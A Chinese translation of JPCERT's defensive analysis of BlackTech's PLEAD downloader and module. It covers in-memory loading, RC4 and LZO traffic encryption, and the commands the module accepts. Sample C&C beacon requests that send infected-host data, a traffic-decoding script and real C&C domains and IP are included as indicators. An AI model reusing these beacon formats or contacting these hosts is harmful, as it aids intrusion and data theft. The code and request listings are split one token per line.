原創: piku Yoake 合天智匯
翻譯文章
原文鏈接為
https://blog.jpcert.or.jp/2018/06/plead-downloader-used-by-blacktech.html
前言
在過去的一篇文章中,我們介紹了APT組織BlackTech使用的TSCookie惡意軟件。據悉,該組織還使用了其他類型的惡意軟件“PLEAD”。PLEAD有兩類——RAT(遠程訪問工具)和Downloader(下載程序)。RAT的命令運行基於C&C服務器提供。(請參閱https://www.lac.co.jp/lacwatch/people/20180425_001625.html瞭解更多信息)另一方面,PLEAD Downloader的下載模塊與TSCookie在內存上運行的方式如出一轍。
本文詳細介紹了PLEAD下載器的工作流程。
PLEAD Downloader的工作流程
首先PLEAD Downloader從某些站點下載經過RC4加密的模塊。圖1顯示了從服務器下載的加密文件的示例。
下載文件的前20h是用於解碼文件的RC4密鑰。解碼後,您可以找到模塊(以下稱為“PLEAD模塊”),C&C服務器,加密密鑰等。圖2是解密文件的示例。
PLEAD下載程序加載PLEAD模塊(包含在解密數據中)並執行它。該模塊不會保存為文件,只會存在於內存中。以下部分將介紹PLEAD模塊的詳細信息。
PLEAD模塊
PLEAD模塊基於C&C服務器提供的命令運行。與C&C服務器之間的通信採用RC4加密,然後使用LZO進行壓縮。RC4加密密鑰是由其自身生成的密鑰和從C&C服務器發送的密鑰的組合。圖3描述了PLEAD模塊執行的通信流程。
PLEAD模塊首先與C&C服務器共享RC4密鑰。下面是在通信開始時發送的HTTP GET請求的示例。Cookie標頭包含加密的RC4密鑰。在Cookie標頭中發送的數據中,“D”和“E”互換。有關數據格式,請參閱附錄A中的表A-1和A-2。
- GET
- /
- index
- .
- php
- ?
- id
- =
- 1577061168
- HTTP
- /
- 1.1
- Cache
- -
- Control
- :
- no
- -
- cache
- Accept
- :
- *
- /*
- Pragma: no-cache
- Cookie: 800809D6411C6E2629001900A92309EB26192117C5A59F306E207A8993A2F20121FC3B42B6DF693838
- User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)
- Host: [host name]
- Connection: Keep-Alive
用於數據加密的RC4密鑰長度為32字節,分為5個塊(4字節* 4 + 16字節* 1)。密鑰中的第一個塊(圖3中的Key1)包含在PLEAD模塊的配置中。在HTTP GET請求中將第二個和第三個塊(Key2和3)設置為0。第四個塊(Key4)是隨機生成的,並在URL中的“id”之後插入。第五個塊(Key5)基於Key4值生成。
首先發送的數據包含Key2值。使用該值,接收方服務器會加密Key3值並將其發送到C&C服務器。數據格式在附錄A的表A-3和A-4中描述。這樣,生成RC4密鑰並用於隨後的通信。
下面是解碼數據的Python腳本的一部分。
- def
- decode
- (
- key1
- ,
- key2
- ,
- key3
- ,
- key4
- ,
- data
- ,
- lzo_header
- ):
- rc4_key
- =
- key1
- +
- pack
- (
- "III"
- ,
- key2
- ,
- key3
- ,
- key4
- )
- for
- i
- in
- xrange
- (
- 4
- ):
- key4
- =
- ROR
- (
- key4
- +
- 1
- ,
- 5
- )
- rc4_key
- +=
- pack
- (
- "I"
- ,
- key4
- )
- dec
- =
- rc4
- (
- data
- ,
- rc4_key
- )
- try
- :
- return
- lzo
- .
- decompress
- (
- lzo_header
- +
- dec
- )
- except
- :
- sys
- .
- exit
- (
- "[!] Lzo decompress error."
- )
共享RC4密鑰後,PLEAD模塊使用HTTP POST請求發送有關受感染主機的信息。數據格式與附錄A中的表A-1所示相同。
- POST
- /
- index
- .
- php
- ?
- id
- =
- 2852129559
- HTTP
- /
- 1.1
- Content
- -
- Type
- :
- application
- /
- x
- -
- www
- -
- form
- -
- urlencoded
- Accept
- :
- *
- /*
- User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)
- Host: [host name]
- Content-Length: [data size]
- Connection: Keep-Alive
- Cache-Control: no-cache
- [data]
數據本身包含受感染主機的主機名,操作系統版本,IP地址,用戶帳戶名。圖4是解碼數據的示例。
之後,將從C&C服務器發送命令。PLEAD模塊可以執行以下功能。
- 洩露文件列表
- 任意shell命令執行
- 上傳/下載文件
- 文件操作 (有關命令的詳細信息,請參閱附錄B中的B-1)
結論
正如我們之前所描述的,該組織一直在使用各種惡意軟件對日本境內進行攻擊。由於這次攻擊活動可能還會繼續,JPCERT將密切關注相關消息。
附錄C中我們列出了本文中描述的樣本的哈希值。最近確認的一些C&C服務器也列在附錄D中。請確保您的設備都沒有訪問這些主機。
附錄A PLEAD模塊通信數據
附錄B PLEAD模塊命令
附錄C樣本的SHA-256哈希值
PLEAD
- bc2c8cc9896cdd5816509f43cb5dca7433198251d754a997a70db7e8ed5cca40
- a26df4f62ada084a596bf0f603691bc9c02024be98abec4a9872f0ff0085f940
- 2ddb2030ab3373b9438102b541aa4623b7dfee972850dcef05742ecbe8982e22
- eec3f761f7eabe9ed569f39e896be24c9bbb8861b15dbde1b3d539505cd9dd8d
PLEAD模塊
- 23f554cc5bea9d4ccd62b0bbccaa4599f225ebce4ad956a576cc1a9b2a73dc15
附錄D C&C服務器列表
em.totalpople.info
office.panasocin.com
gstrap.jkub.com
woc.yasonbin.info
210.71.209.206
閱讀更多 合天網安實驗室 的文章